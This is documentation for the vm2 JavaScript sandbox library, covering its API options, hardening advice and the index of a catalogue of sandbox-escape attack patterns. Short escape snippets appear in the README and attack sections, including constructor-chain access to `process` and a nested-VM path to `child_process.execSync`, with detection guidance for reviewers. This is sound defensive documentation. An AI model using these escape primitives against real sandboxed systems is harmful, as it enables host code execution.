vm2 Documentation

Technical Documentation: patriksimek/vm2

ℹ️ Provenance: Multi-Tier Ingestion · CodeWiki Reference

Overview (`README.md`) Copy Section

vm2 [](https://github.com/patriksimek/vm2/actions/workflows/test.yml) [![Known Vulnerabilities][snyk-image]][snyk-url]

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Installation Copy Chapter

npm install vm2

Quick Examples Copy Chapter

import { VM } from 'vm2';

const vm = new VM();
vm.run(`process.exit()`); // TypeError: process.exit is not a function

import { NodeVM } from 'vm2';

const vm = new NodeVM({
	require: {
		external: true,
		root: './',
	},
});

vm.run(
	`
    var request = require('request');
    request('http://www.google.com', function (error, response, body) {
        console.error(error);
        if (!error && response.statusCode == 200) {
            console.log(body); // Show the HTML for the Google homepage.
        }
    });
`,
	'vm.js',
);

Important Security Disclaimer Copy Chapter

Before using vm2, you should understand how it works and its limitations.

vm2 attempts to sandbox untrusted JavaScript code within the same Node.js process as your application. It does this through a complex network of Proxies that intercept and mediate every interaction between the sandbox and the host environment.

The Fundamental Challenge Copy Section

JavaScript is an extraordinarily dynamic language. Objects can be accessed through prototype chains, constructors can be reached via error objects, symbols provide protocol hooks, and async execution creates timing windows. The sheer number of ways to traverse from one object to another in JavaScript makes building an airtight in-process sandbox extremely difficult.

We are honest about this reality: Despite our best efforts, researchers and security professionals continuously discover new ways to escape the vm2 sandbox. We actively patch these vulnerabilities as they are reported, but the cat-and-mouse nature of in-process sandboxing means that:

1. New bypasses will likely be discovered in the future. Check our security advisories for known vulnerabilities.
2. You must keep vm2 updated to benefit from the latest security fixes. Subscribe to security advisories and update promptly.
3. vm2 should not be your only line of defense. Defense in depth is essential when running untrusted code.

More Robust Alternatives Copy Section

If you require stronger isolation guarantees, consider these alternatives that provide true process or hardware-level isolation:

When vm2 May Still Be Appropriate Copy Section

vm2 can be suitable when:

• You need tight integration with host objects and fast synchronous communication
• The untrusted code comes from a relatively trusted source (e.g., internal tools, plugin systems with vetted authors)
• You combine vm2 with other security layers (network isolation, filesystem restrictions, resource limits)
• You accept the risk and actively monitor for security updates

If you're running code from completely untrusted sources (e.g., arbitrary user submissions), we strongly recommend using a solution with stronger isolation guarantees.

Runtimes Copy Chapter

Two separate limitations apply to Bun, and neither implies the other.

It is not a security boundary. vm2's threat model, the attack catalogue in
docs/ATTACKS.md, and every regression test in test/ghsa/
are derived from V8 internals. JavaScriptCore, which Bun uses, has its own
equivalents, and none have been audited against vm2's bridge. The suite passing
under Bun demonstrates compatibility, not that the sandbox holds there. Do not
use vm2 on Bun to isolate untrusted code.

Compatibility is partial, not parity. A green Bun run covers only the tests
that actually execute there. test/bun-skips.js lists what is excluded and why,
and the known behavioural gaps include:

• Buffer.from(arrayLike) returns a zero-length buffer
• VMScript filename / lineOffset / columnOffset metadata is not
  observable, because JSC's CallSite objects carry no methods
• Object.freeze on a frozen host object with a non-configurable accessor
  throws a proxy-invariant TypeError where V8 does not
• some Buffer operations across the sandbox boundary are drastically slower —
  a 64 MB allocUnsafe takes over 400 seconds against 1.7 on Node, slow enough
  to read as a hang

Treat Bun support as best-effort compatibility for trusted code, and check the
skip list before relying on any particular behaviour.

Features Copy Chapter

• Runs untrusted code securely in a single process with your code side by side
• Full control over the sandbox's console output
• The sandbox has limited access to the process's methods
• It is possible to require modules (built-in and external) from the sandbox
• You can limit access to certain (or all) built-in modules
• You can securely call methods and exchange data and callbacks between sandboxes
• Actively maintained with patches for known escape methods (see Security Disclaimer)
• Transpiler support

How does it work Copy Chapter

• It uses the internal VM module to create a secure context.
• It uses Proxies to prevent escaping from the sandbox.
• It overrides the built-in require to control access to modules.

For an in-depth look at vm2’s internals, see docs/ATTACKS.md.

What is the difference between Node's vm and vm2? Copy Chapter

Try it yourself:

import { runInNewContext } from "node:vm";

runInNewContext('this.constructor.constructor("return process")().exit()');
console.log('Never gets executed.');

import { VM } from 'vm2';

new VM().run('this.constructor.constructor("return process")().exit()');
// Throws ReferenceError: process is not defined

Documentation Copy Chapter

• VM
• NodeVM
• VMScript
• Error handling
• Debugging a sandboxed code
• Read-only objects
• Protected objects
• Cross-sandbox relationships
• CLI
• 2.x to 3.x changes
• 1.x and 2.x docs
• Contributing

VM Copy Chapter

VM is a simple sandbox to synchronously run untrusted code without the require feature. Only JavaScript built-in objects and Node's Buffer are available. Scheduling functions (setInterval, setTimeout and setImmediate) are not available by default.

Options:

• timeout - Script timeout in milliseconds. WARNING: You might want to use this option together with allowAsync=false. Further, operating on returned objects from the sandbox can run arbitrary code and circumvent the timeout. One should test if the returned object is a primitive with typeof and fully discard it (doing logging or creating error messages with such an object might also run arbitrary code again) in the other case.
• sandbox - VM's global object.
• compiler - javascript (default), typescript, coffeescript or custom compiler function. The library expects you to have compiler pre-installed if the value is set to typescript or coffeescript. typescript requires typescript@6 or earlier — see Compilers.
• eval - If set to false any calls to eval or function constructors (Function, GeneratorFunction, etc.) will throw an EvalError (default: true).
• wasm - If set to false any attempt to compile a WebAssembly module will throw a WebAssembly.CompileError (default: true). Note: WebAssembly.JSTag is removed inside the sandbox for security reasons, so wasm code cannot catch JavaScript exceptions.
• allowAsync - If set to false any attempt to run code using async will throw a VMError (default: true).
• bufferAllocLimit - Maximum size in bytes for a single Buffer.alloc / Buffer.allocUnsafe / Buffer.allocUnsafeSlow / Buffer(N) / new Buffer(N) request from inside the sandbox. Requests that exceed this cap throw a RangeError synchronously without performing the host allocation. Default: Infinity (no cap, fully backwards-compatible). Embedders running untrusted code in memory-constrained environments (Docker / Kubernetes / Lambda / serverless) should opt into a finite cap (e.g. 32 * 1024 * 1024) as part of layered DoS defense, the same way they opt into timeout. See Hardening recommendations below.

IMPORTANT: Timeout is only effective on synchronous code that you run through run. Timeout does NOT work on any method returned by VM. There are some situations when timeout doesn't work - see #244.

import { VM } from 'vm2';

const vm = new VM({
	timeout: 1000,
	allowAsync: false,
	sandbox: {},
});

vm.run('process.exit()'); // throws ReferenceError: process is not defined

You can also retrieve values from VM.

let number = vm.run('1337'); // returns 1337

TIP: See tests for more usage examples.

NodeVM Copy Chapter

Unlike VM, NodeVM allows you to require modules in the same way that you would in the regular Node's context.

Options:

• console - inherit to enable console, redirect to redirect to events, off to disable console (default: inherit).
• sandbox - VM's global object.
• compiler - javascript (default), typescript, coffeescript or custom compiler function (which receives the code, and it's file path). The library expects you to have compiler pre-installed if the value is set to typescript or coffeescript. typescript requires typescript@6 or earlier — see Compilers.
• eval - If set to false any calls to eval or function constructors (Function, GeneratorFunction, etc.) will throw an EvalError (default: true).
• wasm - If set to false any attempt to compile a WebAssembly module will throw a WebAssembly.CompileError (default: true). Note: WebAssembly.JSTag is removed inside the sandbox for security reasons, so wasm code cannot catch JavaScript exceptions.
• bufferAllocLimit - Same semantics as on VM — maximum size in bytes for a single Buffer.alloc family request from inside the sandbox. Default: Infinity. See Hardening recommendations.
• sourceExtensions - Array of file extensions to treat as source code (default: ['js']).
• require - true, an object or a Resolver to enable require method (default: false).
• require.external - Values can be true, an array of allowed external modules, or an object (default: false). All paths matching /node_modules/${any_allowed_external_module}/(?!/node_modules/) are allowed to be required.
• require.external.modules - Array of allowed external modules. Also supports wildcards, so specifying ['@scope/*-ver-??], for instance, will allow using all modules having a name of the form @scope/something-ver-aa, @scope/other-ver-11, etc. The * wildcard does not match path separators.
• require.external.transitive - Boolean which indicates if transitive dependencies of external modules are allowed (default: false). WARNING: When a module is required transitively, any module is then able to require it normally, even if this was not possible before it was loaded.
• require.builtin - Array of allowed built-in modules, accepts ["*"] for all (default: none). WARNING: "*" can be dangerous as new built-ins can be added.
• require.root - Restricted path(s) where local modules can be required (default: every path).
• require.mock - Collection of mock modules (both external or built-in).
• require.context - host (default) to require modules in the host and proxy them into the sandbox. sandbox to load, compile, and require modules in the sandbox. callback(moduleFilename, ext) to dynamically choose a context per module. The default will be sandbox is nothing is specified. Except for events, built-in modules are always required in the host and proxied into the sandbox.
• require.import - An array of modules to be loaded into NodeVM on start.
• require.resolve - An additional lookup function in case a module wasn't found in one of the traditional node lookup paths.
• require.customRequire - Use instead of the require function to load modules from the host.
• require.strict - false to not force strict mode on modules loaded by require (default: true).
• require.fs - Custom file system implementation.
• nesting - WARNING: Allowing this is a security risk as scripts can create a NodeVM which can require any host module. true to enable VMs nesting (default: false).
• wrapper - commonjs (default) to wrap script into CommonJS wrapper, none to retrieve value returned by the script.
• argv - Array to be passed to process.argv.
• env - Object to be passed to process.env.
• strict - true to loaded modules in strict mode (default: false).

IMPORTANT: Timeout is not effective for NodeVM so it is not immune to while (true) {} or similar evil.

REMEMBER: The more modules you allow, the more fragile your sandbox becomes.

import { NodeVM } from 'vm2';

const vm = new NodeVM({
	console: 'inherit',
	sandbox: {},
	require: {
		external: true,
		builtin: ['fs', 'path'],
		root: './',
		mock: {
			fs: {
				readFileSync: () => 'Nice try!',
			},
		},
	},
});

// Sync

let functionInSandbox = vm.run('module.exports = function(who) { console.log("hello "+ who); }');
functionInSandbox('world');

// Async

let functionWithCallbackInSandbox = vm.run('module.exports = function(who, callback) { callback("hello "+ who); }');
functionWithCallbackInSandbox('world', greeting => {
	console.log(greeting);
});

When wrapper is set to none, NodeVM behaves more like VM for synchronous code.

assert.ok(vm.run('return true') === true);

TIP: See tests for more usage examples.

Loading modules by relative path Copy Section

To load modules by relative path, you must pass the full path of the script you're running as a second argument to vm's run method if the script is a string. The filename is then displayed in any stack traces generated by the script.

vm.run('require("foobar")', '/data/myvmscript.js');

If the script you are running is a VMScript, the path is given in the VMScript constructor.

const script = new VMScript('require("foobar")', { filename: '/data/myvmscript.js' });
vm.run(script);

Resolver Copy Section

A resolver can be created via makeResolverFromLegacyOptions and be used for multiple NodeVM instances allowing to share compiled module code potentially speeding up load times. The first example of NodeVM can be rewritten using makeResolverFromLegacyOptions as follows.

const resolver = makeResolverFromLegacyOptions({
	external: true,
	builtin: ['fs', 'path'],
	root: './',
	mock: {
		fs: {
			readFileSync: () => 'Nice try!',
		},
	},
});
const vm = new NodeVM({
	console: 'inherit',
	sandbox: {},
	require: resolver,
});

VMScript Copy Chapter

You can increase performance by using precompiled scripts. The precompiled VMScript can be run multiple times. It is important to note that the code is not bound to any VM (context); rather, it is bound before each run, just for that run.

import { VM, VMScript } from 'vm2';

const vm = new VM();
const script = new VMScript('Math.random()');
console.log(vm.run(script));
console.log(vm.run(script));

It works for both VM and NodeVM.

import { NodeVM, VMScript } from 'vm2';

const vm = new NodeVM();
const script = new VMScript('module.exports = Math.random()');
console.log(vm.run(script));
console.log(vm.run(script));

Code is compiled automatically the first time it runs. One can compile the code anytime with script.compile(). Once the code is compiled, the method has no effect.

Compilers Copy Chapter

compiler accepts javascript (default), typescript, coffeescript, or your own function. The typescript and coffeescript compilers are optional — install the package yourself; vm2 does not depend on either.

TypeScript Copy Section

The built-in typescript compiler requires typescript@6 or earlier.

vm2 transpiles through TypeScript's transpileModule() API. TypeScript 7 removed it from the package entry point — require('typescript') there resolves to { version, versionMajorMinor } only, and the replacement API lives behind the explicitly unstable typescript/unstable/* subpaths, none of which provide a single-file transpile equivalent. There is therefore nothing for vm2 to fall back to on 7.x.

Selecting compiler: 'typescript' with TypeScript 7 installed throws at new VMScript(...) / new VM(...):

VMError: The installed TypeScript (7.0.2) does not expose the transpileModule() API that
vm2's built-in TypeScript compiler uses; it was removed from the package entry point in
TypeScript 7. Install typescript@6 or earlier, or pass your own transpiler as a function:
{ compiler: (code, filename) => javaScriptSource }.

Either pin typescript@6, or supply your own transpiler — any function returning JavaScript works, so TypeScript 7's tsc, esbuild, swc, or a type-stripper are all valid:

import { VM, VMScript } from 'vm2';
import { transformSync } from 'esbuild';

const script = new VMScript('const x: number = 1; x', {
	compiler: (code, filename) => transformSync(code, { loader: 'ts', format: 'cjs' }).code,
});

new VM().run(script);

A custom compiler receives (code, filename) and must return JavaScript source. It runs in the host realm, before sandboxing — treat it as trusted code and never build one out of untrusted input.

CoffeeScript Copy Section

Requires coffee-script to be installed. Compiled with { header: false, bare: true }; any compilerOptions you pass are merged over those.

Error handling Copy Chapter

Errors in code compilation and synchronous code execution can be handled by try-catch. Errors in asynchronous code execution can be handled by attaching uncaughtException event handler to Node's process.

try {
	var script = new VMScript('Math.random()').compile();
} catch (err) {
	console.error('Failed to compile script.', err);
}

try {
	vm.run(script);
} catch (err) {
	console.error('Failed to execute script.', err);
}

process.on('uncaughtException', err => {
	console.error('Asynchronous error caught.', err);
});

Debugging a sandboxed code Copy Chapter

You can debug or inspect code running in the sandbox as if it was running in a normal process.

• You can use breakpoints (which requires you to specify a script file name)
• You can use debugger keyword.
• You can use step-in to step inside the code running in the sandbox.

Example Copy Section

/tmp/main.js:

import { VM, VMScript } from 'vm2';
import { readFileSync } from 'node:fs';

const file = `${__dirname}/sandbox.js`;

// By providing a file name as second argument you enable breakpoints
const script = new VMScript(readFileSync(file), file);

new VM().run(script);

/tmp/sandbox.js

const foo = 'ahoj';

// The debugger keyword works just fine everywhere.
// Even without specifying a file name to the VMScript object.
debugger;

Read-only objects (experimental) Copy Chapter

To prevent sandboxed scripts from adding, changing, or deleting properties from the proxied objects, you can use freeze methods to make the object read-only. This is only effective inside VM. Frozen objects are affected deeply. Primitive types cannot be frozen.

Example without using freeze:

const util = {
	add: (a, b) => a + b,
};

const vm = new VM({
	sandbox: { util },
});

vm.run('util.add = (a, b) => a - b');
console.log(util.add(1, 1)); // returns 0

Example with using freeze:

const vm = new VM(); // Objects specified in the sandbox cannot be frozen.
vm.freeze(util, 'util'); // Second argument adds object to global.

vm.run('util.add = (a, b) => a - b'); // Fails silently when not in strict mode.
console.log(util.add(1, 1)); // returns 2

IMPORTANT: It is not possible to freeze objects that have already been proxied to the VM.

Protected objects (experimental) Copy Chapter

Unlike freeze, this method allows sandboxed scripts to add, change, or delete properties on objects, with one exception - it is not possible to attach functions. Sandboxed scripts are therefore not able to modify methods like toJSON, toString or inspect.

IMPORTANT: It is not possible to protect objects that have already been proxied to the VM.

Cross-sandbox relationships Copy Chapter

const assert = require('assert');
const { VM } = require('vm2');

const sandbox = {
	object: new Object(),
	func: new Function(),
	buffer: new Buffer([0x01, 0x05]),
};

const vm = new VM({ sandbox });

assert.ok(vm.run(`object`) === sandbox.object);
assert.ok(vm.run(`object instanceof Object`));
assert.ok(vm.run(`object`) instanceof Object);
assert.ok(vm.run(`object.__proto__ === Object.prototype`));
assert.ok(vm.run(`object`).__proto__ === Object.prototype);

assert.ok(vm.run(`func`) === sandbox.func);
assert.ok(vm.run(`func instanceof Function`));
assert.ok(vm.run(`func`) instanceof Function);
assert.ok(vm.run(`func.__proto__ === Function.prototype`));
assert.ok(vm.run(`func`).__proto__ === Function.prototype);

assert.ok(vm.run(`new func() instanceof func`));
assert.ok(vm.run(`new func()`) instanceof sandbox.func);
assert.ok(vm.run(`new func().__proto__ === func.prototype`));
assert.ok(vm.run(`new func()`).__proto__ === sandbox.func.prototype);

assert.ok(vm.run(`buffer`) === sandbox.buffer);
assert.ok(vm.run(`buffer instanceof Buffer`));
assert.ok(vm.run(`buffer`) instanceof Buffer);
assert.ok(vm.run(`buffer.__proto__ === Buffer.prototype`));
assert.ok(vm.run(`buffer`).__proto__ === Buffer.prototype);
assert.ok(vm.run(`buffer.slice(0, 1) instanceof Buffer`));
assert.ok(vm.run(`buffer.slice(0, 1)`) instanceof Buffer);

CLI Copy Chapter

Before you can use vm2 in the command line, install it globally with npm install vm2 -g.

vm2 ./script.js

Hardening recommendations Copy Chapter

vm2 prevents sandbox escapes (untrusted code obtaining host realm access). It does not, by itself, prevent every form of resource exhaustion or denial-of-service. Embedders running untrusted code should add the following layered defenses around the sandbox.

1. Cap memory allocation with `bufferAllocLimit` Copy Section

A single Buffer.alloc(N) call with attacker-controlled N runs as one synchronous host C++ allocation that V8's timeout cannot interrupt. In memory-constrained environments a ~100-byte sandbox payload can drive a 100 MB+ host RSS jump and crash the host process via OOM. Set bufferAllocLimit (e.g. 32 * 1024 * 1024) to cap individual allocations:

const vm = new VM({
	timeout: 1000,
	bufferAllocLimit: 32 * 1024 * 1024,
	allowAsync: false,
});

The cap also applies to the deprecated Buffer(N) and new Buffer(N) paths. Note that aggregate exhaustion (many small allocations, Buffer.concat, Uint8Array, String.repeat, Array(n).fill(), etc.) is not covered by this cap — combine with a host-side memory limit (--max-old-space-size, container limit, cgroup) for full coverage.

2. Install a host-side `unhandledRejection` handler Copy Section

A class of host-process abort DoS exists where sandbox code creates an async function, async function*, or await using whose body throws a value that triggers a host-realm error during stack formatting (e.g. e.name = Symbol(); e.stack). V8 creates the rejection promise via the realm's intrinsic Promise, which bypasses vm2's Promise subclass wrap, so the rejection escapes to the host as unhandledRejection. On Node 15+ the default behavior is to terminate the process.

Closing this requires changing observable host behavior, so vm2 does not ship a fix by default. Embedders should install a process-level handler that swallows (or logs) sandbox-originating rejections:

// Recommended: filter rejections that originated inside vm2 and swallow them,
// while letting your own host-side rejections propagate.
process.on('unhandledRejection', (reason, promise) => {
	// Heuristic: rejections from the sandbox frequently surface as values
	// without proper Error semantics, or with stacks pointing at vm.js.
	// Adjust the predicate to match your application.
	if (looksLikeSandboxOrigin(reason)) {
		return; // swallow — don't terminate the process
	}
	// Otherwise: handle (or rethrow) as normal for your host code.
	yourLogger.error('unhandled rejection', reason);
});

If your application has no other source of unhandled rejections, a blanket swallow + log is acceptable:

process.on('unhandledRejection', reason => {
	yourLogger.warn('swallowed sandbox rejection', reason);
});

A scoped fix may ship behind an opt-in swallowSandboxUnhandledRejections flag in a future minor release; until then, the host-side handler is the recommended mitigation.

3. Run with a process-level memory cap Copy Section

Even with bufferAllocLimit set, run the host process with --max-old-space-size (or an equivalent container memory limit) sized for the workload. The cap protects against the single-allocation primitive; the OS-level limit protects against aggregate exhaustion and against any future allocation primitive vm2 hasn't yet capped.

4. Treat `require.builtin: ['*']` as a non-sandbox configuration Copy Section

The '*' wildcard expands to most Node built-ins, including child_process, fs, dgram, net, http, and dns. These are full host-capability primitives — require('child_process').execSync('id') is reachable from the sandbox under '*'. vm2's '*' semantics are intentional (some embedders run trusted-but-isolated code), but it should not be used as a default for untrusted code. Prefer an explicit allowlist of the smallest set of modules your sandbox actually needs.

5. `nesting: true` is an escape hatch Copy Section

nesting: true lets sandbox code require('vm2') and construct nested NodeVMs. The nested VM's require config is chosen by the sandbox code that constructs it, not constrained by the outer VM. Concretely:

const vm = new NodeVM({ nesting: true, require: { builtin: [] } });
vm.run(`
  const { NodeVM: NVM } = require('vm2');
  // Inner VM's config is whatever the sandbox writes here:
  const inner = new NVM({ require: { builtin: ['child_process'] } });
  inner.run('require("child_process").execSync("id")');  // RCE
`);

If you set nesting: true, you have effectively granted the sandbox the same trust level you have. Do not enable nesting: true for untrusted code. Use it only when you trust the sandboxed code itself but want VM-style execution semantics (fresh global, controlled timeouts) for non-security reasons.

nesting: true requires an explicit require config object (e.g. require: { builtin: [] } or require: {}). Any other shape — require: false, require: undefined, require: null, or omitting require entirely — throws VMError at construction (GHSA-m4wx-m65x-ghrr, supersedes GHSA-8hg8-63c5-gwmx). All of those shapes produce a NESTING_OVERRIDE-only resolver: the sandbox can require('vm2') but nothing else, which is a pure escape primitive with no legitimate use. To deny all requires, remove nesting: true. To allow nested VMs, provide an explicit require config so the trade-off is visible at the call site.

Known Issues Copy Chapter

• It is not possible to define a class that extends a proxied class. This includes using a proxied class in Object.create.
• Direct eval does not work.
• Logging sandbox arrays will repeat the array part in the properties.
• Source code transformations can result a different source string for a function.
• There are ways to crash the node process from inside the sandbox. See Hardening recommendations.
• The built-in typescript compiler does not work with TypeScript 7 or newer, which removed the transpileModule() API vm2 uses. Use typescript@6 or pass your own transpiler — see Compilers.

ATTACKS (`docs/ATTACKS.md`) Copy Section

Sandbox Escape Attack Patterns

This document catalogs known attack patterns used to circumvent the vm2 sandbox. It is intended for AI agents and reviewers evaluating new code contributions. Each section describes a category of attack, provides canonical examples, explains why it is dangerous, and lists detection heuristics for spotting similar patterns in contributed code.

How to Use This Document Copy Chapter

When reviewing a code contribution:

1. Check if any code (including test fixtures, examples, or "utility" helpers) matches the patterns in the family files.
2. Pay special attention to code that accesses .constructor, __proto__, Symbol.species, Proxy, Reflect, or overrides built-in prototype methods.
3. Any code that attempts to obtain a reference to host-realm Function, process, require, or child_process from within sandbox context is an escape attempt.
4. The ultimate goal of almost every escape is: get a reference to the host Function constructor, then call Function("return process")() to access Node.js process and from there require("child_process").execSync(...).

The catalog is split by mechanism family: this file is the index and the common material, and each family under docs/attacks/ holds the numbered entries. Start from the Category Index when you have a number, and from the family table when you have a mechanism. When documenting a new advisory, follow the Category Entry Format and verify the fix against the Defense Invariants.

Category Index Copy Chapter

Families Copy Section

Categories Copy Section

Kind is primitive (no prerequisites), technique (a delivery mechanism for primitives), or compound (a complete chain closed by an advisory fix).

Category Entry Format Copy Chapter

Every category lives in exactly one family file under docs/attacks/. Category numbers are permanent identifiers: they are never reused, reassigned, or renumbered, because CHANGELOG.md, test/ghsa/*/repro.js and the skills refer to "Category N".

Each entry uses the following structure:

• Heading: ## Attack Category N: <Short title>. N is the next unused number across all families.
• **Advisories**: — required. Every GHSA ID the entry covers. Mark duplicates as GHSA-xxxx (dup of GHSA-yyyy). Write none for categories that predate the advisory process.
• **Tests**: — required. Paths to the regression tests: test/ghsa// directories, and suite tests cited as test/vm.js ("<describe title>").
• **Uses**: — present on most techniques and compounds (a linked list of the prerequisite categories the attack composes); the Kind column of the category index is the authority for whether an entry is a primitive, technique, or compound.
• **Supersedes**: — optional. Link to an earlier category whose mitigation was specific rather than structural and is now subsumed by this fix.
• ### Description — What the attacker can do and the underlying mechanism.
• ### Attack Flow — Numbered step-by-step breakdown.
• ### Canonical Example(s) — Code blocks. Include all known variants when multiple bypass paths exist.
• ### Why It Works — Why the existing defenses didn't prevent this. Reference V8 internals where relevant.
• ### Mitigation — The structural fix. Cite the file and function. Reference the Defense Invariant the fix enforces.
• ### Fix shape — Optional. The structure of the fix stated separately from the code walk-through, where the Mitigation is long enough that the shape would otherwise be lost in it (Categories 39 and 48).
• ### Detection Rules — Bulleted heuristics for spotting similar patterns in code review.
• ### Considered Attack Surfaces — Optional. Adjacent surfaces analysed and ruled out, so future reviewers don't re-investigate.
• ### Known Residual — Optional. Must name the condition under which the residual becomes a bug, and once a later category closes it, a one-line pointer to that category replaces the section.

Write in the present tense. An entry describes a closed hole and the structure that keeps it closed, except where a Known Residual section or an explicit status line says otherwise; as of this revision Categories 22 and 47 carry open residuals. The fix is the Mitigation section, so retrospective markers announcing that a hole is fixed, and phrasings such as "historically" or "was dangerous", do not appear. Where the pre-fix behaviour genuinely has to be stated, scope it explicitly — "Before GHSA-xxxx, the trap did Y. The trap now does Z."

Links between categories always carry the file name (family.md#anchor from a family file, attacks/family.md#anchor from this index), and links to this document from a family file use ../ATTACKS.md#anchor. test/docs-catalog.js fails the suite on a duplicate number, a gap in numbering, an unresolved link, or a missing metadata line.

If a new vulnerability fits an existing category, add it as an additional canonical example, extend the Advisories and Tests lines, and update the Mitigation. Only create a new category for genuinely novel attack classes.

After adding an entry:

1. Place it in the family file whose mechanism matches. If none fits, add a family file and a row to the family table below; that should be rare.
2. Add its row to the category index below.
3. Add a row to Summary → How The Bridge Defends and, for a compound, an entry to Summary → Compound Attack Patterns.
4. Run npm test; test/docs-catalog.js checks numbering, links, and metadata.
5. Add a one-line entry to CHANGELOG.md under the next release.

Fundamentals Copy Chapter

Before diving into specific attack categories, it is essential to understand the architectural constraints that make sandbox escapes possible and the design choices that shape the defense surface.

Realm Separation Copy Section

vm2 runs untrusted code inside a V8 context created by Node.js's vm module. Host and sandbox share the same V8 isolate -- they execute on the same thread, in the same heap. The sandbox gets its own set of global intrinsics (Object, Function, Array, Error, etc.), but these are all allocated from the same memory space as the host's intrinsics. There is no process boundary, no memory isolation, and no privilege separation at the OS level. If an attacker obtains a reference to any host-realm constructor, they can evaluate arbitrary code in the host context.

A "host-realm object" is any object whose prototype chain leads to the host's intrinsics. A "sandbox-realm object" leads to the sandbox's intrinsics. The bridge's job is to ensure that sandbox code never sees a host-realm object directly -- only proxied wrappers that sanitize every property access.

The Bridge Proxy Model Copy Section

lib/bridge.js is the core of vm2. It maintains two WeakMaps:

• mappingThisToOther: maps host objects to their sandbox proxy wrappers (and vice versa, depending on which side loaded the bridge).
• mappingOtherToThis: maps sandbox proxies back to the host objects they wrap.

When a host object crosses into the sandbox, thisFromOther(other) looks it up in mappingThisToOther. If already wrapped, the existing proxy is returned (identity preservation). If new, a proxy is created whose traps sanitize every property access, method call, and prototype traversal.

The proxy invariant problem: proxies preserve object identity (the same host object always maps to the same sandbox proxy), but every trap is an attack surface. Each trap must correctly handle attacker-controlled inputs, V8 internal algorithm invocations, and edge cases like non-configurable properties. The bridge is essentially a manually-written membrane, and any gap in the membrane is a potential escape.

V8 Internal Algorithms vs JS-Level Code Copy Section

This is the root cause of most attacks in this document. V8 implements many specification algorithms in C++ (ArraySpeciesCreate, FormatStackTrace, PromiseResolveThenableJob, etc.). These C++ algorithms operate on raw object pointers, bypassing proxy traps entirely in many cases. When V8's C++ code reads obj.constructor for species resolution, it reads the actual property on the underlying object -- not the proxy's get trap return value. When V8's stack formatter calls Error.toString(), it runs in whatever realm created the error.

This means: any defense that relies solely on proxy traps is incomplete. The bridge must also neutralize the raw objects themselves (e.g., setting constructor = undefined directly on host arrays) and control V8-level hooks (e.g., Error.prepareStackTrace).

The Transformer's Role Copy Section

lib/transformer.js uses Acorn to parse sandbox code and instrument it:

• catch blocks: Wrapped so that handleException(e) is called on every caught value. This sanitizes host-realm errors that V8 might throw (e.g., TypeError from type coercion failures).
• with statements: Instrumented to prevent scope chain manipulation.

handleException (defined in lib/setup-sandbox.js) calls ensureThis on the caught value, which walks the prototype chain and converts host objects to sandbox proxies. It also detects SuppressedError instances and recursively sanitizes their .error and .suppressed properties.

Critical limitation: The transformer uses Acorn with ecmaVersion: 2022. Syntax introduced after ES2022 -- notably using declarations (ES2024) -- is invisible to the transformer when the keyword fast path skips the AST parse (a parsed source is rejected by acorn at ecmaVersion: 2022). Code using using inside eval() bypasses catch-block instrumentation entirely.

The Error Generation Primitive Copy Section

A pattern that appears in nearly every compound attack:

const e = new Error();
e.name = Symbol();  // Symbol cannot be converted to string
e.stack;            // V8's C++ FormatStackTrace calls e.toString() -> TypeError

When V8 formats a stack trace, its C++ code calls Error.prototype.toString(), which concatenates this.name + ": " + this.message. If name is a Symbol, the string concatenation throws a TypeError. Depending on where this TypeError is caught, it may be a host-realm error (if the formatting happened in host-side code like prepareStackTraceCallback) or a sandbox-realm error (if the sandbox's prepareStackTrace handled it). This primitive generates host errors on demand and is referenced throughout this document.

The `isHost` Asymmetry Copy Section

The bridge is loaded in both the host and the sandbox, but the security requirement is asymmetric: only the sandbox side needs protection from leaking host objects. The host side freely receives sandbox objects (they cannot harm the host). This means the bridge's proxy traps are primarily defensive on the sandbox-facing side: the get trap blocks dangerous constructors, the ownKeys trap filters dangerous symbols, the apply trap neutralizes species attacks, etc.

The Escape Chain Copy Section

Almost every escape follows this progression:

Sandbox Object
  -> Host Constructor (Function)
    -> Code Evaluation ("return process")
      -> process.mainModule.require
        -> require("child_process")
          -> execSync("arbitrary command")

Block any step in this chain, and the escape fails. The bridge blocks step 1 (constructor access). The transformer blocks catch-clause access. Promise sanitization blocks async paths to step 2. Defense in depth means multiple layers must be bypassed for a successful escape.

Defense Invariants Copy Chapter

These are the cross-cutting properties the sandbox must preserve. A fix that closes a specific PoC without restoring the relevant invariant is specific and will admit variants. A fix that restores the invariant at the right chokepoint is structural. Every Mitigation section should reference the invariant it enforces.

1. No host-realm object reaches sandbox code unwrapped. Every value crossing the boundary is a primitive, a sandbox-realm object, or a bridge proxy. thisFromOther / ensureThis is the single chokepoint; the WeakMap caches preserve identity.

2. All caught exceptions are sanitized. Every value entering a catch clause passes through handleException. Paths that bypass JS-level catch instrumentation (Wasm try_table, host-realm Promise.then rejection) are closed at the bridge.

3. Cross-realm error containers are recursively sanitized. SuppressedError, AggregateError, and Error.cause may carry host references in nested fields. handleException walks the structure with cycle detection.

4. V8 internal algorithms cannot read attacker-controlled constructor on host objects. ArraySpeciesCreate, PromiseResolveThenableJob, and similar C++ paths bypass proxy traps. The bridge neutralises raw constructor slots on host arrays before every host-side call (neutralizeArraySpeciesBatch, via neutralizeArraySpeciesOn) and pre-sets Promise.constructor as an own data property before .then/.catch (resetPromiseSpecies).

5. Error.prepareStackTrace always resolves to a sandbox-realm safe default. V8 must never fall back to the host's prepareStackTraceCallback. Setting Error.prepareStackTrace = undefined in the sandbox restores the safe default rather than removing it.

6. Host-realm intrinsic prototypes are read-only from the sandbox. Object.prototype, Array.prototype, Function.prototype, etc. cannot be polluted, deleted from, or frozen via bridge write traps. Mutability is preserved for non-intrinsic host objects (Buffer instances, embedder-exposed configs).

7. Cross-realm well-known symbols are not extractable. Symbol.for('nodejs.util.inspect.custom') and similar cross-realm symbols are filtered at the bridge so sandbox code cannot use them as a channel to register host-side callbacks.

8. Reflect and dangerous-constructor identity is captured at init time. The bridge caches Reflect.* references and built-in constructors before sandbox code runs. Sandbox-side monkey-patching of these cannot affect bridge internals.

9. Post-ES2022 syntax is treated as a transformer blind spot. using, await using, and any future syntax not understood by Acorn (ecmaVersion: 2022) bypasses catch instrumentation when the keyword fast path skips the AST parse (a parsed source is rejected by acorn at ecmaVersion: 2022). Defenses must hold even when no transformer instrumentation runs over the relevant scope.

10. Dynamic code compilation paths cannot reach an unwrapped host realm. Function, eval with host references, and dynamic import() are blocked or proxied. import() throws VMError unconditionally.

